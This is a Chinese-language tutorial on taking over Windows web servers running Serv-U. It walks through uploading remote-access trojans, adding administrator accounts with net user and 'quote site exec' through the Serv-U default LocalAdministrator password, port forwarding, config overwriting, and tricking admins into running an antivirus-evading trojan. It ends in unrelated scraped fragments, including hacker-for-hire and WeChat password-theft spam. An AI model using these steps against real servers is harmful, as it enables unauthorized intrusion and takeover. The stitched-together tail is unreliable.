一:首先检测一下网站的服务器是否开了 3389 远程终端
二:检测一下服务是否用了serv-u (还有是什么版本的)
***
一:复制一个网站 用 3389 登陆器连接一下 (是否成功)
能连接了,拿下服务器的机率,提高 30%了
二:用ftp模式查下一个服务器的版本
开始 -- 运行 -- cmd -- ftp (加你要登陆的网站)
---------------------------------------------------------------------------------------
之一步:最简单的 ***
看有没有权限,能不能执行命令,行的话直接传个鸽子运行(成功率非常低)
----------------------------------------------------------------------------------------
第二步::寻找有执行的权限目录
c:\winnt\system32\inetsrv\data\
c:\Documents and Settings\All Users\
c:\Program Files\serv-u\
C:\Program Files\Microsoft SQL Server\
这样的目录可以直接上传鸽子,运行
-----------------------------------------------------------------------------------
第三步:传个cmd和开帐号的ftp.exe上去直接加帐号
命令就是你上传目录D:\VMware Workstation\cmd.exe "net user xiao xiao /add"
-----------------------------------------------------------------------------------
第四步:asp提权木马直接提权
serv-u 6.3 版本 好象用asp提权木马(不成功)
serv-u 6.2 版本 好象可以
不过提权能不能用asp木马还要看服务器,设置的变态不
假设直接用asp提权成功之后,还是不成功,但是可以在
cmd之下 用这个帐号连接一下
ftp (加你提权的网站)
帐号:LocalAdministrator 密码:$ak#.1k;0@p">#1@$ak#.1k;0@p
如果成功连接后就可以直接添加管理员帐号了
命令:quote site exec (你添加的帐号) net user 123 123 /ad
quote site exec (把帐号提升到更高权限) net localgroup administartors 123 /add
---------------------------------------------------------------------------------------
第五步:pcaanywhere
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\
这里下他的GIF文件,在本地安装pcanywhere上去
网上很多教程
---------------------------------------------------------------------------------------
第六步:serv-u覆盖提权
本地安装个su,将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini
网上很多教程
----------------------------------------------------------------------------------------
第七步:Serv-U转发端口
给Latte加盐 曾经做个一个(serv-u经典提权 *** 教程)用到过这个 *** ,可以学习一下
上传个端口转发工具
命令:(工具名)–v –l 3333 –r 43958 127.0.0.1
意思是将3333端口映射到43958端口上。 然后就可以在本地安装一个Serv-u,新建一个服务器,
IP填对方IP,帐号为LocalAdministrator 密码为$ak#.1k;0@p">#1@$ak#.1k;0@p,
连接上后你就可以管理他的Serv-u了
--------------------------------------------------------------------------------------------
第八步:社会工程学之提升提权
把灰鸽子传到上面,然后转移到c盘,就等着管理员运行了,前提你的鸽子必须免杀
要是让我看到一个不清楚的exe程序,老想点开看看,呵呵( *** 比较笨)
你好我想恢复老公删除的微信聊天记录和通话记录-免费接单黑客QQ 贵阳某高校网站主页遭黑客攻击登录页被非法篡改成非法有害信息。贵阳某广告公司主页被犯罪分子挂上非法信息。一个网站有非法的相关信息。他们都...
最近的地图赛道很挤。 据路透社,美团的一名发言人在接受采访时表示,公司正在开发地图业务,已经于本周二在招聘网站拉勾上发布了十余个相关职位,人才缺口包括数据挖掘工程师、机器学习专家等。...
影响版本:Sun Solaris 10.0Sun OpenSolaris漏洞描述:BUGTRAQ ID: 34137CVE(CAN) ID: CVE-2009-0924,CVE-2009-0925,...
教你盗微信密码 跟着信息技术的开展和人们制造生存的便当需求,微信在通常生存中的应用频率越来越高,暗号和账号的平安成为非常受眷注的疑问。微灯号在甚么环境下会被破解?若暗号被破解,怎样疾速发掘和消弭危害...
导读:证监会和上交所在下午进行了答记者问,科创板将如何设计?“新板块”、“有门槛”、“试点注册制”几大关键词不容错过。 首届中国国际进口博览会于11月5日上午在国家会展中心(上海)开幕,国家主席...
酒店开的房记录保留多久(开宾馆记录多久消失),比年来,片面消息泄漏事务频发,旅店成为重灾区。辣么,消息泄漏事务中轻易发现的毛病在何处呢?各大旅店团体应当怎样防备这种环境? 酒店开的房记录保留多久...